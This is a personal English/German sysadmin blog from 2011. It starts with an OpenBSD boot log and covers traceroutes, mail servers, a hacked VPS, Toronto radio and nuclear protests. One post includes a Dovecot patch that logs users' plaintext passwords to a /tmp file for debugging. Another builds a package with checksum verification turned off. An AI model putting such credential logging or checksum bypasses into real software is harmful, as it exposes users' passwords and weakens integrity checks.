acpi0: sleep states S0 S1 S4 S5
acpi0: tables DSDT FACP APIC MCFG OEMB ASF!
acpimadt0 at acpi0 addr 0xfee00000: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: apic clock running at 133MHz
cpu at mainbus0: not configured
ioapic0 at mainbus0: apid 2 pa 0xfec00000, version 20, 24 pins
ioapic0: misconfigured as apic 1, remapped to apid 2
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 5 (P0P1)
acpiprt2 at acpi0: bus 1 (P0P4)
acpiprt3 at acpi0: bus 2 (P0P5)
acpiprt4 at acpi0: bus 3 (P0P6)
acpiprt5 at acpi0: bus 4 (P0P7)
acpiprt6 at acpi0: bus -1 (P0P8)
acpiprt7 at acpi0: bus -1 (P0P9)
bios0: ROM list: 0xc0000/0xec00!
pci0 at mainbus0 bus 0: configuration mode 1 (bios)
pchb0 at pci0 dev 0 function 0 "Intel 82945GME Host" rev 0x03
vga1 at pci0 dev 2 function 0 "Intel 82945GME Video" rev 0x03
wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation)
"Intel 82945GM Video" rev 0x03 at pci0 dev 2 function 1 not configured
ppb0 at pci0 dev 28 function 0 "Intel 82801GB PCIE" rev 0x02: apic 2 int 16 
(irq 10)
pci1 at ppb0 bus 1
em0 at pci1 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2 
int 16 (irq 10), address 00:90:0b:19:56:04
ppb1 at pci0 dev 28 function 1 "Intel 82801GB PCIE" rev 0x02: apic 2 int 17 
(irq 11)
pci2 at ppb1 bus 2
em1 at pci2 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2 
int 17 (irq 11), address 00:90:0b:19:56:05
ppb2 at pci0 dev 28 function 2 "Intel 82801GB PCIE" rev 0x02: apic 2 int 18 
(irq 5)
pci3 at ppb2 bus 3
em2 at pci3 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2 
int 18 (irq 5), address 00:90:0b:19:56:06
ppb3 at pci0 dev 28 function 3 "Intel 82801GB PCIE" rev 0x02: apic 2 int 19 
(irq 15)
pci4 at ppb3 bus 4
em3 at pci4 dev 0 function 0 "Intel PRO/1000 MT (82574L)" rev 0x00: apic 2 
int 19 (irq 15), address 00:90:0b:19:56:07
uhci0 at pci0 dev 29 function 0 "Intel 82801GB USB" rev 0x02: apic 2 int 23 
(irq 6)
uhci1 at pci0 dev 29 function 1 "Intel 82801GB USB" rev 0x02: apic 2 int 19 
(irq 15)
uhci2 at pci0 dev 29 function 2 "Intel 82801GB USB" rev 0x02: apic 2 int 18 
(irq 5)
uhci3 at pci0 dev 29 function 3 "Intel 82801GB USB" rev 0x02: apic 2 int 16 
(irq 10)
ehci0 at pci0 dev 29 function 7 "Intel 82801GB USB" rev 0x02: apic 2 int 23 
(irq 6)
usb0 at ehci0: USB revision 2.0
uhub0 at usb0 "Intel EHCI root hub" rev 2.00/1.00 addr 1
ppb4 at pci0 dev 30 function 0 "Intel 82801BAM Hub-to-PCI" rev 0xe2
pci5 at ppb4 bus 5
em4 at pci5 dev 2 function 0 "Intel PRO/1000GT (82541GI)" rev 0x05: apic 2 
int 18 (irq 5), address 00:90:0b:19:56:08
em5 at pci5 dev 3 function 0 "Intel PRO/1000GT (82541GI)" rev 0x05: apic 2 
int 19 (irq 15), address 00:90:0b:19:56:09
ichpcib0 at pci0 dev 31 function 0 "Intel 82801GBM LPC" rev 0x02: PM disabled
pciide0 at pci0 dev 31 function 1 "Intel 82801GB IDE" rev 0x02: DMA, 
channel 0 configured to compatibility, channel 1 configured to compatibility
pciide0: channel 0 disabled (no drives)
pciide0: channel 1 ignored (disabled)
pciide1 at pci0 dev 31 function 2 "Intel 82801GBM SATA" rev 0x02: DMA, 
channel 0 configured to native-PCI, channel 1 configured to native-PCI
pciide1: using apic 2 int 19 (irq 15) for native-PCI interrupt
"Intel 82801GB SMBus" rev 0x02 at pci0 dev 31 function 3 not configured
usb1 at uhci0: USB revision 1.0
uhub1 at usb1 "Intel UHCI root hub" rev 1.00/1.00 addr 1
usb2 at uhci1: USB revision 1.0
uhub2 at usb2 "Intel UHCI root hub" rev 1.00/1.00 addr 1
usb3 at uhci2: USB revision 1.0
uhub3 at usb3 "Intel UHCI root hub" rev 1.00/1.00 addr 1
usb4 at uhci3: USB revision 1.0
uhub4 at usb4 "Intel UHCI root hub" rev 1.00/1.00 addr 1
isa0 at ichpcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
com0: console
com1 at isa0 port 0x2f8/8 irq 3: ns16550a, 16 byte fifo
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
npx0 at isa0 port 0xf0/16: reported by CPUID; using exception 16
rd0: fixed, 3800 blocks
umass0 at uhub0 port 2 configuration 1 interface 0 "JMicron USB to 
ATA/ATAPI Bridge" rev 2.00/1.00 addr 2
umass0: using SCSI over Bulk-Only
scsibus0 at umass0: 2 targets, initiator 0
cd0 at scsibus0 targ 1 lun 0:  SCSI0 
5/cdrom removable
softraid0 at root
root on rd0a swap on rd0b dump on rd0b


Inspiring article

January 5th, 2011

The next net is an interesting write-up and a call to all netizens for our own network with our own values.

Der oben gelinkte Link "The next net" ist sehr interessant und ist ein Aufruf zu allen Netz-Buergern fuer unser eigenes Netzwerk das unsere Vorstellungen beschreibt.


Grid Computing

January 9th, 2011

Grid computing is distributed computing. When many nodes (computers) all contribute to some distributed computing effort. Here is my contribution to grid computing. I do computing on one core for seti search, hiv simulations etc. The question is when will we get paid (money) for offering our grid nodes. And will this be more than what cloud computing nodes charge for. I doubt it'll be more, or everyone would rush to make grid computing farms on cloud computers. There has to be a balance. Grid computing is sorta the inverse of cloud computing.

Grid Computing ist ein Verteiltes Rechnen. Viele Grid-Knoten (Computer) beteiligen sich zu einer verteilten Rechenaufgabe. Der obere Link zeigt meine Grid-Computing Beteiligung. Ich habe eine Rechenaufgabe auf einem Rechner-core fuer Seti Suche, HIV Simulationen etc. Die Frage ist, wann werden wir dafuer bezahlt werden (mit echtem Geld) wofuer wir unsere Rechner zu Verfuegung stellen. Und wird es mehr Geld sein als Cloud Computing Knoten verlangen? Ich glaube nicht, dass es mehr sein wird, oder jeder wuerde Grid Computing auf Cloud Computern haben. Da muss es eine Balance geben. Grid Computing ist ein bisschen das Umgekehrte von Cloud Computing.

Grid computing that's paid could be used to do work on over-capacity of electricity, on smart grid electrical networks.


Random Hackepedia

January 14th, 2011

The RH for this week is Streamtuner.


Random Hackepedia

January 21st, 2011

The RH for this week is Puffy.


SVP Radio

January 21st, 2011

A friend and I set up an online radio station that will be streaming from 3PM-10PM Eastern Time (North American Eastern) every wednesday. We did some test streamings from my VPS in France and decided it was better to be streaming where the main listening audience is, in Canada. So we're in the process of seeking the right VPS near Toronto. Check out www.dj-jaz.com for more info on the stream. I'm doing a pre-recorded show every odd Wednesday of the month (so 1st, 3rd and 5th Wednesday) subjected on Computers and Networks. My show is called "Peter's Computer Show".

Ein Freund und ich sind in den vorbereitungen ein radio stream aufzubauen. Es geht Mittwochs, von 9Uhr bis 4Uhr Nachts Mittel Europa Zeit. Wir haben schon den stream mal getestet von meinem VPS in Frankreich aus. Dann beschlossen wir uns einen VPS in Kanada anzulegen, da wo die meisten Hoerer sind. Ihr koennt mehr erfahren von dem Stream von www.dj-jaz.com. Ich bin DJ einer aufgenommenen Show jeden ersten dritten und fuenften Mittwoch des Monats. Worueber ich sprechen werde wird Computer und Netzwerke sein. Meine show heisst "Peter's Computer Show". Das Radio ist in der Englischen Sprache.


Random Hackepedia

January 28th, 2011

The RH for this week is is Natally.


DE-CIX growth: It doesn't have to be like that

January 29th, 2011

A recent article (german) predicts the future for the German Internet Exchange (in Frankfurt) called DE-CIX. They predict that the traffic will increase 20 fold by 2015. In a traceroute from my DSL it shows the route going from Schweinfurt to Nuremberg to Frankfurt (DE-CIX) back to Erlangen (which is 30 km away from Nuremberg) and there to the ftp.de.openbsd.org server that serves my packages for OpenBSD. It's a route that makes little sense, and if Erlangen was connected for cheap to N-IX (the Nuremberg Internet Exchange) then a lot of traffic would be kept away from DE-CIX strengthening the Internet as there isn't that single point of failure in the way.

A route showing path from schweinfurt-nuremberg-frankfurt-erlangen...
...
 4  ppp-default.m-online.net (82.135.16.28)  68.485 ms  50.483 ms  46.633 ms
 5  gi1-8-171.r1.nue2.m-online.net (212.18.7.121)  45.863 ms  47.948 ms  46.186 ms
 6  xe-2-2-0.rt-decix.m-online.net (212.18.6.166)  49.903 ms  49.974 ms  49.825 ms
 7  zr-fra1-te0-0-0-3.x-win.dfn.de (80.81.192.222)  50.725 ms  51.753 ms  52.530 ms
 8  zr-erl1-te0-0-0-4.x-win.dfn.de (188.1.145.197)  64.62 ms  66.4 ms  65.651 ms
...

Ein kuertzlicher Artikel prognostiziert die Zukunft des Deutschen Internet Exchange (in Frankfurt am Main) der DE-CIX heisst. Sie prognostizieren das der Internet Verkehr um das 20 fache steigen wird bis 2015. In einer traceroute von meinem DSL zeigt es das die Route von Schweinfurt durch Nuernberg, durch Frankfurt (DE-CIX) und von dort zurueck nach Erlangen geht (was 30 KM von Nuernberg ist). Den Server fuer die Route ist ftp.de.openbsd.org der OpenBSD Packete haust. Diese Route macht wenig Sinn und falls Erlangen mit einer billigen Leitung direkt and den N-IX (Nuernberg Internet Exchange) angeschlossen waehre dann wuerde viel Verkehr von DE-CIX weggeleitet werden. Diese wuerde das Internet staerken da es kein einzelnen Bruchpunkt (Frankfurt) gibt.


Outage for solarscale.de

January 31st, 2011

I transferred the domain solarscale.de to another registrar and something blew up. The domain has its nameservers set to the old NS servers but the old registrar had deleted the domain from its nameservers as soon as the transfer was initiated. I'm losing email :-(. I'm not sure what caused this mess because the notify email was on the solarscale.de domain and that ceased as soon as the old registrar deleted the zone. I've written my current registrar and am awaiting answers. It could be a 5 day outtage. Not too cool.

Ich habe einen Domain Namen Transfer mit solarscale.de begonnen und irgendetwas ging schief. Der Domain hat jetzt gerade die Nameservers von den alten Registrar registriert und der alte Registrar hat die Namenseintrage der Zone schon geloescht (sobald der Transfer durchging). Ich verliere mail. :-(. Ich bin nicht sicher was diesen schlamassel produzierte da die notify emails am solarscale.de domain hingen und das hat natuerlich aufgehoert als die Zone geloescht wurde. Ich habe den Registrar geschrieben und erwarte 'ne antwort. Es koennte eine 5 taegige stoerung sein. Nicht so cool.

Update: Tue Feb 1 11:33:16 CET 2011 The nameservers I had specified had the zone solarscale.de in non-compliance with DEnic the german NIC. It finally switched over to the right nameservers and I'm happy. It may take another day for the right nameservers to propagate over to the new ones, but servers that haven't queried solarscale.de in the last day will get the right data like so:

$ ping -c 1 www.solarscale.de
PING www.solarscale.de (200.46.208.61) 56(84) bytes of data.
64 bytes from goldflipper.net (200.46.208.61): icmp_seq=1 ttl=55 time=104 ms

--- www.solarscale.de ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 104.848/104.848/104.848/0.000 ms

Die Namenserver die ich spezifiziert habe fuer die zone solarscale.de hatten SOA daten die DENIC das Deutsche NIC nicht annehmen wollte. Aber endlich ist es gelungen und ich bin froh. Es koennte noch einen Tag dauern bis die NS eintraege propagiert sind, aber server die solarscale.de noch nicht angeschaut haben werden die richtigen daten erhalten.


Save CKLN

February 2nd, 2011

This is for my Canadian friends. The small radio station CKLN needs your help. A long time ago (well actually 2 years ago) the Ryerson Student Union didn't want to pay for CKLN anymore and a fight ensued. This fight caused CKLN to go off-air for a number of months. Being off-air is a violation of the CRTC broadcasting license and the CRTC has revoked CKLN's license in the meantime. They have until February 12th to shut down.

So if you like alternative programming. If you like pro-gay, pro-lesbian, pro-minority programming CKLN is for you. And it's this voice that is so important in an equal and fair society. Here is a link that asks you to write your MP to save CKLN. As for me I'm not a citizen of Canada and my EuMP can't do much to help, but CKLN got my support in spirit. And that doesn't mean I'm gay. I'm not.


Another useless route through DE-CIX

February 2nd, 2011

When tracerouting free.fr from my vps which lies in Strasbourg the route goes from Strasbourg, to Frankfurt, back to Strasbourg and on from there this is wasteful and it would be better if there was a mini-exchange in Strasbourg itself taking on this traffic.

pjp@proteus:~> traceroute free.fr
traceroute to free.fr (212.27.48.10), 30 hops max, 40 byte packets
 1  static-ip-85-25-57-148.inaddr.intergenia.de (85.25.57.148)  0.000 ms   0.000 ms   0.000 ms
 2  217.118.16.25 (217.118.16.25)  3.105 ms   3.182 ms   3.191 ms
 3  217.118.16.129 (217.118.16.129)  3.402 ms   3.340 ms   3.359 ms
 4  ve498.bbr1.fra3.inetbone.net (83.220.157.37)  3.346 ms   3.243 ms   3.260 ms
 5  decix.proxad.net (80.81.192.223)  4.041 ms   4.158 ms   3.975 ms
 6  strasbourg-6k-1-po101.intf.routers.proxad.net (212.27.56.29)  7.743 ms   7.580 ms   7.780 ms
...

Wenn man eine Traceroute nach free.fr macht von meinem vserver/vps das in Strassburg liegt sieht man das die route von Strassburg, nach Frankfurt und zurueck nach Strassburg geht und von dort aus dann weiter. Das ist natuerlich ein unsparsamer weg und es waere besser wenn da ein mini-exchange in Strassburg selber existiert das diesen Internet Verkehr uebernimmt.


18/1!

February 4th, 2011

Well, I finally got my DSL upgrade for the next two years, I'm one happy camper.

Ich habe jetzt meine DSL Wartung bekommen fuer die naechsten zwei Jahre. Ich bin voll und super happy.


Blog starts to forget

February 6th, 2011

As indicated a few weeks ago, this blog will start to forget in a FIFO manner.

Wie versprochen vor ein paar Wochen wird dieser Blog anfangen zu vergessen in einer FIFO weise.

www.ipv6.solarscale.de March 7th, 2009
OpenBSD Donation March 1st, 2009
My SSH Tunnel February 25th, 2009
Why I chose static February 25th, 2009
Traceroute February 24th, 2009
The end of flavair.com February 17th, 2009
IPv6.solarscale.de February 12th, 2009
Back on the IPv6 Net!  Mo 2. Feb 14:25:20 CET 2009
A thought on the Economic Crisis Sun Feb 1 18:01:16 CET 2009
A New Beginning Fri Jan 16 19:34:10 CET 2009


Changed mailserver

February 6th, 2011

I've switched the MX records for all my domains to uranus.centroid.eu. That's my newly upgraded DSL. The old mail server proteus has almost fulfilled its mission and after four years I'm finally giving it retirement. Proteus will be switched off completely on March 13th and I've already gone through it and deleted enough signs of its use last night. Uranus and goldflipper.net will be my mainstay for the next two years and who knows what will come along by then.

Ich habe die MX records fuer alle meine Domains zu uranus.centroid.eu gesetzt. Das ist mein ueberholtes DSL. Der alte Mail Server proteus hat fast sein mandat vollbracht und wird nach vier Jahren rechenzeit abgeschaltet und in Rente gesetzt. Proteus wird genauergesagt am 13. Maerz abgeschaltet und ich habe schon etwas auf dem Server geloescht gestern abend. Uranus und goldflipper.net werden meine Haupt-Server sein fuer die naechsten zwei Jahre und wer weiss was dann kommt.


Random Hackepedia

February 11th, 2011

The RH for this week is Ddos.



Reading code

February 12th, 2011

Tonight I found myself reading code. The resolver code in OpenBSD to be exact. I do this when I'm looking for something... and by golly I think I've found it...
  if (++loops < 42) /*doug adams*/
                                                 break;

res_send.c lines 799-820/853 byte 21458/22096 97%  (press RETURN)

Heute abend habe ich Code gelesen. Die resolver library in OpenBSD um es genauer auszudruecken. Wenn ich sowas tue, suche ich was... und ich glaube ich habe es gefunden...man muss "per anhalter durch die galaxies" gelesen haben.


traceroute6 clock.centroid.eu

February 18th, 2011

When I'm awake and my computer is on you can traceroute6 clock.centroid.eu and it'll give you the time of day in GMT. Like so:

13  cl-154.muc-02.de.sixxs.net (2001:a60:f000:99::2)  122.742 ms  121.5[36/1981$
3.863 ms
14  cordelia.centroid.eu (2001:a60:f074:4::2)  127.305 ms  128.850 ms  130.404 m
s
15  xxx.hello.xxx.centroid.eu (2001:a60:f074:ff::1)  123.780 ms  123.610 ms  123
.301 ms
16  xxx.why.xxx.centroid.eu (2001:a60:f074:ff::2)  124.455 ms  126.730 ms  124.9
04 ms
17  xxx.are.xxx.centroid.eu (2001:a60:f074:ff::3)  131.776 ms  128.739 ms  134.4
05 ms
18  xxx.you.xxx.centroid.eu (2001:a60:f074:ff::4)  125.209 ms  133.453 ms  128.6
66 ms
19  xxx.tracerouting6.xxx.centroid.eu (2001:a60:f074:ff::5)  137.000 ms  133.315
 ms  143.594 ms
20  the-time-is-15-41-02-in-gmt.clock.centroid.eu (2001:a60:f074:fe::dc8e)  138.
899 ms  141.519 ms  145.045 ms
21  dione.centroid.eu (2001:a60:f074::30)  123.835 ms  125.093 ms  123.141 ms
The code for this was actually pretty simple, it only required to put in 86400 reverse dns entries into my name server which bloated it by about 60 megabytes, but it's worth it I think. It does not work for traceroutes that work with ICMP nor for traceroutes that require forward and reverse to match.


Random Hackepedia

February 18th, 2011

The RH for this week is is shared memory.


Playing with Constellations

February 27th, 2011


A compilation of the great Carl Sagan

March 4th, 2011

I found this video on youtube. It's snippets from Carl Sagan a cosmologer and legend. It's worth being linked from this blog. Originally at youtube.


Upgrading postfix on OpenBSD 4.8

March 8th, 2011

A plaintext injection attack has become known to exist in old versions of postfix. OpenBSD's postfix in the ports was outdated at version 2.7.1. What I did was I downloaded version 2.7.3 and stuck that into the /usr/ports/distfiles/postfix/ directory. Then I went to work in /usr/ports/mail/postfix/stable editing the Makefile first to say 2.7.3 and not 2.7.1, then I built the new postfix with:

 NO_CHECKSUM=Yes FLAVOR=SASL2 make
 NO_CHECKSUM=Yes FLAVOR=SASL2 make package

So then I had the package. I stopped postfix on uranus and deleted it with a cd /var/db/pkg && pkg_delete postfix-2.7.1-sasl2, then I installed the package with pkg_add postfix-2.7.3-sasl2.tgz and started postfix with /usr/local/sbin/postfix start. It worked and so far no complaints.

It's nice that the port allowed me to do this, had there been many patches that conflict I wouldn't have been able to do this through the ports system. Thanks to arno for coaxing me to do it instead of lazily waiting for a new port.

Eine Luecke in postfix ist beseitigt worden. OpenBSD's postfix von den ports war zu alt bei der version 2.7.1. Was ich getan habe war das ich version 2.7.3 heruntergeladen habe und es in /usr/ports/distfiles/postfix/ gesteckt habe. Dann habe ich angefangen den port Makefile zu editieren in /usr/ports/mail/postfix/stable und es sagte jetzt 2.7.3 und nicht 2.7.1. Dann habe ich denn port gebaut, so:

NO_CHECKSUM=Yes FLAVOR=SASL2 make
NO_CHECKSUM=Yes FLAVOR=SASL2 make package

Dann hatte ich das packet. Ich stoppte postfix auf Uranus und habe es geloescht mit cd /var/db/pkg && pkg_delete postfix-2.7.1-sasl2. Dann habe ich das neue packet eingespielt mit pkg_add postfix-2.7.3-sasl2.tgz und habe postfix gestartet mit /usr/local/sbin/postfix start. Es gelung mir und bis jetzt keine beschwerden.

Es ist schoen das der port das erlaubt hat.


We don't need it!

March 12th, 2011

I'm typing about nuclear power, I don't need it and my folks would agree. We don't need it. The recent meltdown in Fukushima shows how easy a disaster is waiting to happen. It's like the saying goes "you play with fire, you gonn' get burned" and the question is not if we'll get burned but when. Everybody line up, your turn is in the future, unless this madness ends!

I rede ueber Atomkraft. Ich brauch es nicht und meine Familie wuerde mir zustimmen. Wir brauchen es nicht. Der Kernschmelz in Fukushima zeigt wie einfach ein GAU passieren kann. Es ist wie das englische sagen, "you play with fire, you gonn' get burned", und die frage ist nicht ob wir uns daran verbrennen sondern wann. Jeder in eine reihe, unser zug ist dran in der Zukunft, ausser wenn dieser wahnsinn ein ende hat.


VPS hacked and goodbyes to proteus

March 12th, 2011

I discontinued my vps proteus.solarscale.de a few months ago but I still had it in possession until tomorrow. What I did was install other OS's on it to test it. So I installed Debian 5.0 LAMP - 64 bit on it and left it like that a few days. The apt-get system was broken due to bad checksums so I couldn't update it. So what happened was that a hacker got in through the exim mail service. He installed a perl script that would connect to an IRC server that I never heard of before, probably a part of a botnet. I traced the process for a few minutes and then reinstalled the VPS with a minimal OpenSuse 10.3 that I had in there before too. It doesn't have a mail server running and only exposed daemon is sshd which is likely OK. Well so much for my venturing, you see dangers everywhere. I just hope that he didn't spam with this vps because it was visibly still in my dns domain (which I've taken off now). Well this is the end for proteus. It was my trusted vps for 3+ years and it's going now. Goodbye good machine.

Ich habe meinen VPS proteus.solarscale.de vor ein paar monaten aufgegeben aber ich hatte es noch in meiner kontrolle bis morgen. Was ich getan habe war das ich ein anderes Betriebsystem darauf installierte um es zu testen. So habe ich Debian 5.0 LAMP - 64 bit darauf installiert und habe es so gelassen ein paar tage. Ein Hacker hats sich dann schoen breit gemacht in meinem VPS, er kam durch den "exim" mail dienst. Er hatte ein perl script installiert das zu einem IRC server eine konnektion aufgemacht hatte warscheinlich war es dann ein Zombie fuer ein Bot-netz. Ich habe den Prozess ein bischen getraced aber nicht mehr viel herausgefunden und dann habe ich das alte OS wieder aufgespielt das sicherer war (OpenSuse 10.3). Es hat keinen mail dienst und nur SSH dienst ist an also warscheinlich sicherer. So das waren meine erfahrungen, es ist gefahr ueberall. Ich hoffe nur das er nicht mit meinem domain gespammt hat. So das war proteus und proteus findet heute ein ende. Goodbye good machine!


Equinox Nigh

March 19th, 2011

The March Equinox is upon us again, tomorrow. This also means the first day of spring. Hooray!

Die Maerz Tag-und-Nacht-Gleiche ist da. Morgen. Das heisst auch der erste Fruehlingstag.

Check out other analemmas at APOD.


OpenBSD 4.9 pre-ordered

March 20th, 2011

I've pre-ordered OpenBSD 4.9.

Ich habe OpenBSD 4.9 vorbestellt.



Blog continues to forget

March 25th, 2011

This blog continues to forget on a monthly basis...

Dieser blog hoert gar nicht auf zu vergessen..

Wildcarddnsd with authpf May 2nd, 2009
Random Hackepedia May 1st, 2009
Solaris 10, configuring IPv6 April 30th, 2009
OpenBSD donation April 30th, 2009
Random Hackepedia April 23rd, 2009
Postfix Message Limit April 20th, 2009
Random Hackepedia April 18th, 2009
Mail with spam protection April 14th, 2009
RFC 2460 Reading change April 2nd, 2009
Happy Equinox!  March 19th, 2009

Dovecot+OpenBSD+bsdauth+Apple Mail considered harmful?

April 4th, 2011

When I turned off proteus.solarscale.de as my primary mailserver I gave that functionality to uranus.centroid.eu. The difference was that proteus was Linux and uranus is OpenBSD. My parents have an email account that is on uranus and my dad checks this with Apple Mail.

Every once in a while he'd get an authentication error and Apple Mail would pop up a box asking for his password. I insisted it was Apple Mail since there could possibly be nothing wrong with Dovecot on OpenBSD. Eventually it became very bad or I became to doubt my first insistance. So what I did was create a small patch for Dovecot to check the password sent by Dovecot. I couldn't do this with a sniffer because it is SSL encrypted over the Internet.

        fd = open("/tmp/.popraw", O_APPEND | O_CREAT | O_WRONLY, 0600);
        if (fd != -1) {
                write(fd, plain_login->data, plain_login->used);
                write(fd, "\n", 1);
                close(fd);
        }

The patch just logged the password and username being used in Dovecots chrooted directory hierarchy in /var. With this I saw that the password was OK when dovecot would deny my dad's POP3 query. And dovecot would log this message:

Mar 27 17:45:09 uranus dovecot: pop3-login: Aborted login (auth failed, 1 attemp
ts): user=, method=PLAIN, rip=XX.XX.XX.210, lip=212.114.251.91, TLS

I then switched in dovecots .conf file the passdb bsdauth {} entry to be passdb passwd {} and it has been running fine for the last 5 days. I'm confident that this was the problem and that the bsdauth mechanism is broken on OpenBSD ever so slightly. I'm not going to chase this bug since there is a workaround and I'm mega lazy, but I want you to know that this bug exists.

auth default {
        mechanisms = plain 

        userdb passwd {
                args = blocking=yes
        }
#  passdb bsdauth {
#   # [cache_key=] - See cache_key in PAM for explanation.
#    #args =
# }

        passdb passwd { 
                args = blocking=yes
        }
}


CKLN 88.1 off Air

April 17th, 2011

The small Toronto radio station CKLN 88.1 isn't broadcasting on the FM dial anymore. What remains is an mp3 stream from the stations studios. Ron Nelson said on the Reggaemania show that the format of the station may continue as an mp3 stream format. It's unfortunate for the station but a sign of the (digital) times, some people were able to tune in from their blackberries through the radio stream before and that's the future I guess. Here is the CKLN website for more information.

Toronto's kleine Radio Station CKLN 88.1 funkt nicht mehr auf FM. Es zu hoeren geht jetzt nur noch durch MP3. Ron Nelson hat auf der Reggaemania show gesagt das der format auf mp3 streaming warscheinlich bleiben wird. Es ist zu schade fuer die Station aber ein zeichen der (digitalen) Zeiten, es ist wohl die Zukunft CKLN durch ein Blackberry smart phone zu hoeren, was ja auch ueber funk geht.


Wildcarddnsd at BETA_6

April 19th, 2011

Well, I've tagged wildcarddnsd to version BETA_6 and branched BETA_6STABLE. you can download wildcarddnsd there. Here is a list of what changed between April 7th of last year and today:

It seems that I'm doing a BETA release every year or so. I'm getting a bit of help from mjbrune these days and will see if he can hack the C code too. All in all I'd like more people to help in, help is needed in the recursive code logic. Maybe it'll be fixed by next year, maybe not, who knows. :-)


Thoughts about CKLN.FM

April 21st, 2011

Since CKLN lost their 88.1FM frequency they have been going on as an online radio station listen in here. Perhaps in a few years when digital radio comes out in Canada, a chance to get back to the airwaves will present itself again. And I think if CKLN keeps up their "way" they'll get back on the airwaves. With digital radio there is a lot more channels and better range and quality. The ckln.fm online format is a step in that direction. Analog is on its way out, and it shows how opportunistic this was by CRTC's decision to cut CKLN off. I'll still enjoy listening from Germany via the Internet.


Atomkraft, Nein Danke!

April 26th, 2011

Yesterday I cycled roughly 19 kilometers to and from the nuclear power plant Grafenrheinfeld, to protest against nuclear power and to pay my respects to the anniversary of the Chernobyl disaster in the Ukraine. There was about 15,000 people there although we felt it was only 5k to 10k at most. My argument is that Germany is capable of replacing nuclear power with alternative energies. We need this nuclear abandonment. We're all very scared that a Chernobyl or Fukushima could happen here in Germany.

Gestern, radelte ich ungefaer 19 kilometer zu dem AKW Grafenrheinfeld und zurueck. Ich protestierte gegen Atomkraft und war da um mich an das Unglueck von Tschernobyl zu erinnern. Es waren ungefaer 15,000 Menschen dort mit mir, aber wir schaetzten das es nur 5K bis 10K waren. Mein argument gegen Atomkraft ist das Deutschland in der lage ist Atomkraft mit alternativen Energien zu ersetzen. Wir brauchen diesen Atomausstieg. Wir alle haben Angst das Tschernobyl oder Fukushima hier in Deutschland passieren koennte.

PS. I should probably also say that this demonstration was historic for me. I attended a demonstration as a boy in 1981 near the very same spot, 30 years of protests. Here is an old photo of a demo:


Upgraded to OpenBSD 4.9

April 29th, 2011

Well I could have waited 2 days for packages to be available but I couldn't wait. I installed OpenBSD 4.9, which I got in the mail yesterday from pre- orders and installed it on cupid.centroid.eu (IPv6). Then I built packages for uranus, it didn't take long and I was ready to binary upgrade uranus. Everything went well except mailman had a problem which was solved by editing the FLAVOR section of mailmans makefile. Most ports upgraded very well and easy with a mere; cd /var/db/pkg; pkg_add -u *. Anyhow here is the uname for uranus:

$ uname -a
OpenBSD uranus.centroid.eu 4.9 GENERIC.MP#794 i386

I'm excited that I have 4.9 running in production 2 days before everyone else can download it. Pre-orders rock! Get your CD!


Uranus boots Uranus (with the heart of Saturn)

April 30th, 2011

One of the features I waited for in OpenBSD 4.9 was Wake-On-LAN. This allows a program on OpenBSD 4.9 to boot another computer simply by running arp -W MACADDRESS Interface. I could have done the wake on LAN feature with codeblue but with OpenBSD 4.9 I didn't have to use it. So I have it booting Uranus (with the heart of Saturn) every morning at 9AM. It'll serve as an alarm clock too.

Why is it called uranus with the heart of saturn? Because it should really be called saturn but I'm afraid that vmware workstation will cease to work when I change the hostname in linux.



Ordered two books on PHP

May 8th, 2011

I've ordered two books on PHP from amazon.de. Should be wicked!

Ich habe zwei Buecher ueber PHP von amazon.de bestellt. Sollte toll sein!



Blog sees changes

May 14th, 2011

I've changed the blog. Manouvering to individual articles should be easier now and an article can be entered completely making google caching easier probably. We'll see. Also changed is that you can now read the blog by click next or previous at the top or bottom. You can also find articles quicker I believe. This article is also a test.



SGU will be missed

May 19th, 2011

Sorta too bad the show is over now...



Found a bug in dspam

May 20th, 2011

At work I found a bug in dspam which caused the daemon to be killed on a SIGFPE. Here is the link.



One t(w)o Four, a time to chill

May 21st, 2011

When I grew up in Stratford, Ontario I became infatuated with Hip Hop. I dressed like I thought a rapper would dress and my friends all listened to Hip Hop as well. We were a small group called "the rappers". It was isolating but we couldn't hold back our faith. I longed for more. I needed to move to the big city to live Hip Hop. *chuckle* So in 1994 me and a friend moved to Toronto to take part in the Hip Hop scene there. We visited clubs and bars to see acts that came through the city and then there was Saturday's. From 1PM to 4PM we listened to the Powermove show on CKLN 88.1FM. This spot was perfect and a time to chill on a saturday afternoon. I have fond memories of listening to MC battles conducted over telephone call-ins. One particular still stands out in my mind when one person won a battle when he rapped about his bike with a banana seat. I loved those times then.

On February 12th, 2011 CKLN 88.1FM had a tribute to all the shows that played on the 1-4PM timeslot. This was a historic show and many blogs and media outlets picked up on it, here is some:

I also listened to this show and even taped it. You can check it out here.

Today 88.1FM doesn't exist anymore, only as an online radio station at ckln.fm and for some reason the 1-4 spot has no more mixtape massacre. This is too bad, and people in Toronto who listened to 88.1FM have lost a great pillar that upheld hip-hop in TO. Well that's all I wanted to blog about today.



Does it have honour? What about minimum wage?

May 27th, 2011
I'm back working. The welfare office gave me work to do. Had I refused it they would have sanctioned my welfare. This sorta makes me mad. But what gets me right mad is that the work is for 1.50 euros an hour. Is there any honour left in this system? I feel deeply disappointed.

Ich arbeite wieder. Der Jobcenter hat mir arbeit vermittelt. Wenn ich es nicht genommen haette wuerde mein geld gekuerzt. Das macht mich ein bisschen aergerlich. Aber was mich richtig aergert ist das diese arbeit fuer 1.50 Euro die stunde ist. Gibt es noch so was wie "Ehre" in diesem System? Ich fuehle mich sehr entaeuscht gegenueber dem System.



Hello Hal!

May 27th, 2011

I did what I noticed some major newspapers (globeandmail.com) have done. Every 30 seconds or so a javascript program refreshes the blue eye on the bottom right corner. This is to show me that someone who is looking at my blog is "alive" or human. This may seem invasive but I'm interested in how long a human looks at my blog, but I'm unsure how to read the logs for that yet. At least I'm collecting the data. Sorry if it creeps you out.

